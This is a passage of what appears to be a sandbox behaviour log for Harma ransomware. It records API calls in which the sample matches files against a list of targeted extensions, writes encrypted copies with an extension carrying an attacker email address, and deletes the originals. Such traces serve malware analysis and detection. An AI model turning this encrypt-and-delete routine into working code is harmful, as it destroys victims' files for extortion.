lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0160.816] lstrlenW (lpString=".bz2") returned 4 [0160.816] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0160.816] lstrlenW (lpString=".7z") returned 3 [0160.816] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0160.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0160.816] lstrlenW (lpString=".dbf") returned 4 [0160.816] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0160.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0160.816] lstrlenW (lpString=".1cd") returned 4 [0160.816] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0160.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0160.816] lstrlenW (lpString=".jpg") returned 4 [0160.816] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0160.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0160.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0160.816] lstrlenW (lpString=".doc") returned 4 [0160.816] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0160.816] lstrlenW (lpString=".docx") returned 5 [0160.816] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0160.816] lstrlenW (lpString=".pdf") returned 4 [0160.816] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0160.816] lstrlenW (lpString=".xls") returned 4 [0160.816] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0160.816] lstrlenW (lpString=".xlsx") returned 5 [0160.816] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0160.817] lstrlenW (lpString=".ppt") returned 4 [0160.817] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0160.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0160.817] lstrlenW (lpString=".zip") returned 4 [0160.817] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0160.817] lstrlenW (lpString=".rar") returned 4 [0160.817] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0160.817] lstrlenW (lpString=".bz2") returned 4 [0160.817] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0160.817] lstrlenW (lpString=".7z") returned 3 [0160.817] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0160.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0160.817] lstrlenW (lpString=".dbf") returned 4 [0160.817] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0160.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0160.817] lstrlenW (lpString=".1cd") returned 4 [0160.817] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0160.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099145.JPG") returned 63 [0160.817] lstrlenW (lpString=".jpg") returned 4 [0160.817] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0160.817] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0160.817] lstrlenW (lpString="J0099152.JPG") returned 12 [0160.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0160.818] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=11694) returned 1 [0160.818] CloseHandle (hObject=0x358) returned 1 [0160.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 0x20 [0160.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0160.818] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.818] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0160.819] GetLastError () returned 0x0 [0160.819] ReadFile (in: hFile=0x358, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x2dae, lpOverlapped=0x0) returned 1 [0160.829] WriteFile (in: hFile=0x350, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2db0, lpOverlapped=0x0) returned 1 [0160.830] ReadFile (in: hFile=0x358, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0160.830] WriteFile (in: hFile=0x350, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.830] SetEndOfFile (hFile=0x350) returned 1 [0160.830] CloseHandle (hObject=0x350) returned 1 [0160.830] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0160.831] SetEndOfFile (hFile=0x358) returned 1 [0160.833] CloseHandle (hObject=0x358) returned 1 [0160.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0161.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0161.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0161.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0161.912] lstrlenW (lpString=".doc") returned 4 [0161.912] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0161.912] lstrlenW (lpString=".docx") returned 5 [0161.912] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0161.912] lstrlenW (lpString=".pdf") returned 4 [0161.912] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0161.912] lstrlenW (lpString=".xls") returned 4 [0161.913] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0161.913] lstrlenW (lpString=".xlsx") returned 5 [0161.913] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0161.913] lstrlenW (lpString=".ppt") returned 4 [0161.913] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0161.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0161.913] lstrlenW (lpString=".zip") returned 4 [0161.913] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0161.913] lstrlenW (lpString=".rar") returned 4 [0161.913] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0161.913] lstrlenW (lpString=".bz2") returned 4 [0161.913] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0161.913] lstrlenW (lpString=".7z") returned 3 [0161.913] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0161.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0161.913] lstrlenW (lpString=".dbf") returned 4 [0161.913] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0161.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0161.913] lstrlenW (lpString=".1cd") returned 4 [0161.913] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0161.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0161.913] lstrlenW (lpString=".jpg") returned 4 [0161.913] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0161.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0161.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0161.914] lstrlenW (lpString=".doc") returned 4 [0161.914] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0161.914] lstrlenW (lpString=".docx") returned 5 [0161.914] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0161.914] lstrlenW (lpString=".pdf") returned 4 [0161.914] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0161.914] lstrlenW (lpString=".xls") returned 4 [0161.914] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0161.914] lstrlenW (lpString=".xlsx") returned 5 [0161.914] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0161.914] lstrlenW (lpString=".ppt") returned 4 [0161.914] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0161.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0161.914] lstrlenW (lpString=".zip") returned 4 [0161.915] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0161.915] lstrlenW (lpString=".rar") returned 4 [0161.915] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0161.915] lstrlenW (lpString=".bz2") returned 4 [0161.915] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0161.915] lstrlenW (lpString=".7z") returned 3 [0161.915] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0161.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0161.915] lstrlenW (lpString=".dbf") returned 4 [0161.915] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0161.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0161.915] lstrlenW (lpString=".1cd") returned 4 [0161.915] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0161.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0161.915] lstrlenW (lpString=".jpg") returned 4 [0161.915] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0161.915] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0161.915] lstrlenW (lpString="J0099154.JPG") returned 12 [0161.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0161.923] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=6929) returned 1 [0161.923] CloseHandle (hObject=0x338) returned 1 [0161.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 0x20 [0161.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0161.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0161.930] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.930] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.931] GetLastError () returned 0x0 [0161.931] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x1b11, lpOverlapped=0x0) returned 1 [0161.942] WriteFile (in: hFile=0x374, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0161.943] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.944] WriteFile (in: hFile=0x374, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.944] SetEndOfFile (hFile=0x374) returned 1 [0161.944] CloseHandle (hObject=0x374) returned 1 [0161.944] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.944] SetEndOfFile (hFile=0x338) returned 1 [0161.948] CloseHandle (hObject=0x338) returned 1 [0161.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0161.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0161.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0161.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0161.950] lstrlenW (lpString=".doc") returned 4 [0161.950] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0161.950] lstrlenW (lpString=".docx") returned 5 [0161.950] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0161.950] lstrlenW (lpString=".pdf") returned 4 [0161.950] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0161.950] lstrlenW (lpString=".xls") returned 4 [0161.950] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0161.950] lstrlenW (lpString=".xlsx") returned 5 [0161.950] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0161.950] lstrlenW (lpString=".ppt") returned 4 [0161.950] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0161.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0161.950] lstrlenW (lpString=".zip") returned 4 [0161.950] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0161.951] lstrlenW (lpString=".rar") returned 4 [0161.951] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0161.951] lstrlenW (lpString=".bz2") returned 4 [0161.951] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0161.951] lstrlenW (lpString=".7z") returned 3 [0161.951] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0161.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0161.951] lstrlenW (lpString=".dbf") returned 4 [0161.951] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0161.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0161.951] lstrlenW (lpString=".1cd") returned 4 [0161.951] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0161.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0161.951] lstrlenW (lpString=".jpg") returned 4 [0161.951] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0161.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0161.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0161.951] lstrlenW (lpString=".doc") returned 4 [0161.951] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0161.951] lstrlenW (lpString=".docx") returned 5 [0161.951] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0161.951] lstrlenW (lpString=".pdf") returned 4 [0161.951] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0161.951] lstrlenW (lpString=".xls") returned 4 [0161.951] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0161.952] lstrlenW (lpString=".xlsx") returned 5 [0161.952] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0161.952] lstrlenW (lpString=".ppt") returned 4 [0161.952] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0161.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0161.952] lstrlenW (lpString=".zip") returned 4 [0161.952] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0161.952] lstrlenW (lpString=".rar") returned 4 [0161.952] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0161.952] lstrlenW (lpString=".bz2") returned 4 [0161.952] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0161.952] lstrlenW (lpString=".7z") returned 3 [0161.952] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0161.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0161.952] lstrlenW (lpString=".dbf") returned 4 [0161.952] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0161.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0161.952] lstrlenW (lpString=".1cd") returned 4 [0161.952] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0161.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0161.953] lstrlenW (lpString=".jpg") returned 4 [0161.953] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0161.953] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0161.953] lstrlenW (lpString="J0099156.JPG") returned 12 [0161.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0161.954] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=13954) returned 1 [0161.954] CloseHandle (hObject=0x338) returned 1 [0161.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 0x20 [0161.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0161.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0161.959] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.959] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0161.961] GetLastError () returned 0x0 [0161.961] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x3682, lpOverlapped=0x0) returned 1 [0161.968] WriteFile (in: hFile=0x374, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x3690, lpOverlapped=0x0) returned 1 [0161.970] ReadFile (in: hFile=0x338, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.970] WriteFile (in: hFile=0x374, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.970] SetEndOfFile (hFile=0x374) returned 1 [0161.970] CloseHandle (hObject=0x374) returned 1 [0161.970] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.970] SetEndOfFile (hFile=0x338) returned 1 [0161.974] CloseHandle (hObject=0x338) returned 1 [0161.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0161.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0161.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0161.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0161.978] lstrlenW (lpString=".doc") returned 4 [0161.978] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0161.978] lstrlenW (lpString=".docx") returned 5 [0161.978] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0161.978] lstrlenW (lpString=".pdf") returned 4 [0161.978] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0161.978] lstrlenW (lpString=".xls") returned 4 [0161.978] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0161.978] lstrlenW (lpString=".xlsx") returned 5 [0161.978] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0161.978] lstrlenW (lpString=".ppt") returned 4 [0161.978] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0161.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0161.978] lstrlenW (lpString=".zip") returned 4 [0161.978] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0161.978] lstrlenW (lpString=".rar") returned 4 [0161.978] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0161.978] lstrlenW (lpString=".bz2") returned 4 [0161.978] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0161.978] lstrlenW (lpString=".7z") returned 3 [0161.978] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0161.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0161.978] lstrlenW (lpString=".dbf") returned 4 [0161.979] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0161.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0161.979] lstrlenW (lpString=".1cd") returned 4 [0161.979] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0161.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0161.979] lstrlenW (lpString=".jpg") returned 4 [0161.979] 